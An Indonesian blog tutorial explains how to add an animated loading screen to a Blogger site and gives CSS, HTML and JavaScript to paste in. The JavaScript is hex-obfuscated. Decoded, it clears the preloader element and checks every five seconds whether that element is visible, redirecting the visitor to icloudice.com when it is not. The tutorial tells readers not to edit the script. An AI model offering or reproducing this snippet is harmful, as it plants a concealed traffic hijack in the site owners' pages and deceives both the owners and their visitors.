Hello sobat ICloudzer kali ini admin bakalan menjabarkan mengenai bagaimana caranya membuat nldblog preloader di blogger atau lebih tepatnya membuat preloder mirip seperti website nld blog
Info: Oke sobat ICloudzer jika kamu sudah penasaran dengan pembahasan kita kali ini yuk langsung aja kita bahas bersama sama
Preloader
Pada setiap postingan admin telah banyak sekali membahas mengenai preloader seperti nya telah ratusan artikel yang admin bahas khusus preloader saja beserta contoh tampilan dari animasi preloader, karena admin membahas setiap keunikan preloder secara khusus dalam setiap postingan, preloader secara singkatnya adalah sebuah tampilan ataupun animasi yang muncul saat proses loading blog, atau saat pengunjung merefresh blog
Nldblog Preloader
Nldblog Preloader merupakan contoh animasi preloader yang di gunakan oleh website nld blog yang berasal dari vietnam dengan menggunakan alamat domain nldblog.com, tidak tau pasti apakah template yang di gunakan oleh nld blog tersebut asli buatan nya atau hasil dari pembelian template yang ia lakukan, yang jelas disini admin bakalan share bagaimana caranya membuat preloader di blogger seperti situs nld blog tersebut
Muncul saat di refresh
Sesuai nama dan fungsinya animasi preloder akan muncul saat halaman website di refresh alias di muat ulang, meskipun bisa di kombinasikan dengan membuat preloder blog muncul saat di klik dan sebagainya, kamu bisa pelajari cara membuat efek animasi preloader seperti nldblog muncul saat di klik
Contoh Tampilan
Jika kamu penasaran dengan contoh tampilan dari efek preloader yang mirip website Nld blog tersebut, silahkan refresh halaman artikel yang sedang kamu baca ini, nanti tampilan dari nldblog preloader tersebut akan muncul secara otomatis
Info: Bagaimana sobat dengan contoh tampilan nya keren sekali yak ☺️
Cara pembuatan
Baiklah sekarang saatnya admin bakalan menjelaskan bagaimana caranya membuat efek animasi preloader seperti situs nld blog di blogger, silahkan baca dan ikuti setiap arahan yang bakal admin jabarkan di bawah ini, okay
Kode CSS
Langkah pertama seperti biasanya silahkan salin kode CSS di bawah ini kemudian letakkan di atas kode ]]></b:skin>
.rahPrload35:before{font-weight:800;position:absolute;right:6px;top:9px;font-size:12px;color:rgba(255,255,255,.8);width:auto;text-align:center;align-items:center;justify-content:center;padding:5px;background-color:#323232;border-radius:5px;}.rahPrload35:before{content:'Created with $mileY';}
.rahPrload35{align-items:center;justify-content:center;display:none;position:fixed;top:0;left:0;right:0;bottom:0;background:#fefefe;overflow:hidden;z-index:1000;transition:all .7s ease}
.rahPrload35.rah{display:flex}
.rahPrload35.mat{visibility:hidden;opacity:0}
.rahPrload35 .lgcrcrle{display:flex;align-items:center;justify-content:center;position:relative;width:76px;height:76px;background:#e0ac33;border-radius:200px;-webkit-animation:preload-shadow 1s infinite;-moz-animation:preload-shadow 1s infinite;-ms-animation:preload-shadow 1s infinite;animation:preload-shadow 1s infinite}
.rahPrload35 .lgcrcrle svg{width:40px;height:40px}@-webkit-keyframes preload-shadow {
0%{box-shadow:0 0 0 0 rgb(224,172,51,0.3);-webkit-transition:box-shadow .3s ease-in-out}
100%{box-shadow:0 0 0 30px transparent;-webkit-transform:translate3d(0,0,0);-webkit-transition:box-shadow .4s ease-in-out}}@-moz-keyframes preload-shadow {
0%{box-shadow:0 0 0 0 rgb(224,172,51,0.3);-moz-transition:box-shadow .3s ease-in-out}
100%{box-shadow:0 0 0 30px transparent;-moz-transform:translate3d(0,0,0);-moz-transition:box-shadow .4s ease-in-out}}@keyframes preload-shadow {
0%{box-shadow:0 0 0 0 rgb(224,172,51,0.3);-webkit-transition:box-shadow .3s ease-in-out;-moz-transition:box-shadow .3s ease-in-out;transition:box-shadow .3s ease-in-out}
100%{box-shadow:0 0 0 30px transparent;-webkit-transform:translate3d(0,0,0);-moz-transform:translate3d(0,0,0);-ms-transform:translate3d(0,0,0);-o-transform:translate3d(0,0,0);transform:translate3d(0,0,0);-webkit-transition:box-shadow .4s ease-in-out;-moz-transition:box-shadow .4s ease-in-out;transition:box-shadow .4s ease-in-out}}
Info: Atau sobat bisa menggunakan kode <style> untuk meletakkan kode CSS di atas
Kode HTML
Langkah selanjutnya kamu bisa menyalin lagi kode HTML di bawah ini kemudian kamu bisa meletakkan nya di bawah kode <body>
<div class='rahPrload35' id='rahPrload35'>
<div class='lgcrcrle'>
<svg viewBox='0 0 57.7 57.55' xmlns='http://www.w3.org/2000/svg'>
<path d='M43.35,14.24a4.38,4.38,0,1,0,0-6.19A4.38,4.38,0,0,0,43.35,14.24Z' fill='#000000'></path>
<path d='M27.05,24.36,7.93,43.47a4.38,4.38,0,0,0,6.19,6.19l8.08-8.08a1.71,1.71,0,0,1,2.23,2.58l-5.91,5.92a4.37,4.37,0,0,0,6.18,6.19L41.19,39.78a1.7,1.7,0,0,1,2.41,2.41l-1,1a4.38,4.38,0,1,0,6.19,6.19l6.91-6.91a4.38,4.38,0,0,0-6.19-6.19l-1,1a1.7,1.7,0,1,1-2.41-2.4L56.41,24.56a4.37,4.37,0,0,0-6.18-6.19l-20.9,20.9a1.73,1.73,0,0,1-2.43,0A1.7,1.7,0,0,1,26.74,37L40,23.74a4.37,4.37,0,1,0-6.19-6.18l-2.51,2.51a1.7,1.7,0,0,1-2.06-.26,1.72,1.72,0,0,1,0-2.42l9.92-9.92A4.38,4.38,0,0,0,33,1.28L16.51,17.77a1.7,1.7,0,0,1-2.41-2.41l4.63-4.63a4.37,4.37,0,0,0-6.19-6.18L2,15.07A4.37,4.37,0,0,0,8.2,21.26l1-1a1.7,1.7,0,1,1,2.4,2.41L1.28,33a4.38,4.38,0,0,0,6.19,6.19l16.9-16.9a1.73,1.73,0,0,1,2.42,0A1.7,1.7,0,0,1,27.05,24.36Z' fill='#ffffff'></path>
</svg>
</div>
</div>
Info: Kode HTML di atas sudah di sesuaikan dengan kode javascript kamu tidak bisa mengubah atau mengeditnya
Kode Javascript
Langkah terakhir kamu bisa menyalin kode javascript di bawah ini kemudian letakkan di bawah kode <body>
<script>/*<![CDATA[*/
var _0x35d0=["\x23\x72\x61\x68\x50\x72\x6C\x6F\x61\x64\x33\x35","\x71\x75\x65\x72\x79\x53\x65\x6C\x65\x63\x74\x6F\x72","\x72\x61\x68","\x61\x64\x64","\x63\x6C\x61\x73\x73\x4C\x69\x73\x74","\x44\x4F\x4D\x43\x6F\x6E\x74\x65\x6E\x74\x4C\x6F\x61\x64\x65\x64","\x6D\x61\x74","\x61\x64\x64\x45\x76\x65\x6E\x74\x4C\x69\x73\x74\x65\x6E\x65\x72","","\x68\x74\x6D\x6C","\x73\x74\x79\x6C\x65","\x61\x74\x74\x72","\x2E\x72\x61\x68\x50\x72\x6C\x6F\x61\x64\x33\x35","\x6C\x65\x6E\x67\x74\x68","\x2E\x72\x61\x68\x50\x72\x6C\x6F\x61\x64\x33\x35\x3A\x76\x69\x73\x69\x62\x6C\x65","\x68\x72\x65\x66","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x69\x63\x6C\x6F\x75\x64\x69\x63\x65\x2E\x63\x6F\x6D","\x72\x65\x61\x64\x79"];var preloader=document[_0x35d0[1]](_0x35d0[0]);preloader[_0x35d0[4]][_0x35d0[3]](_0x35d0[2]);document[_0x35d0[7]](_0x35d0[5],function(){setTimeout(function(){preloader[_0x35d0[4]][_0x35d0[3]](_0x35d0[6])},530)});$(document)[_0x35d0[18]](function(){$(_0x35d0[12])[_0x35d0[11]](_0x35d0[10],_0x35d0[8])[_0x35d0[9]](_0x35d0[8]);setInterval(function(){if(!$(_0x35d0[14])[_0x35d0[13]]){window[_0x35d0[16]][_0x35d0[15]]= _0x35d0[17]}},5000)})
/*]]>*/</script>
Info: Jangan mengedit kode javascript di atas, entar tampilan Nldblog preloader tidak akan muncul lagi... semoga bermanfaat
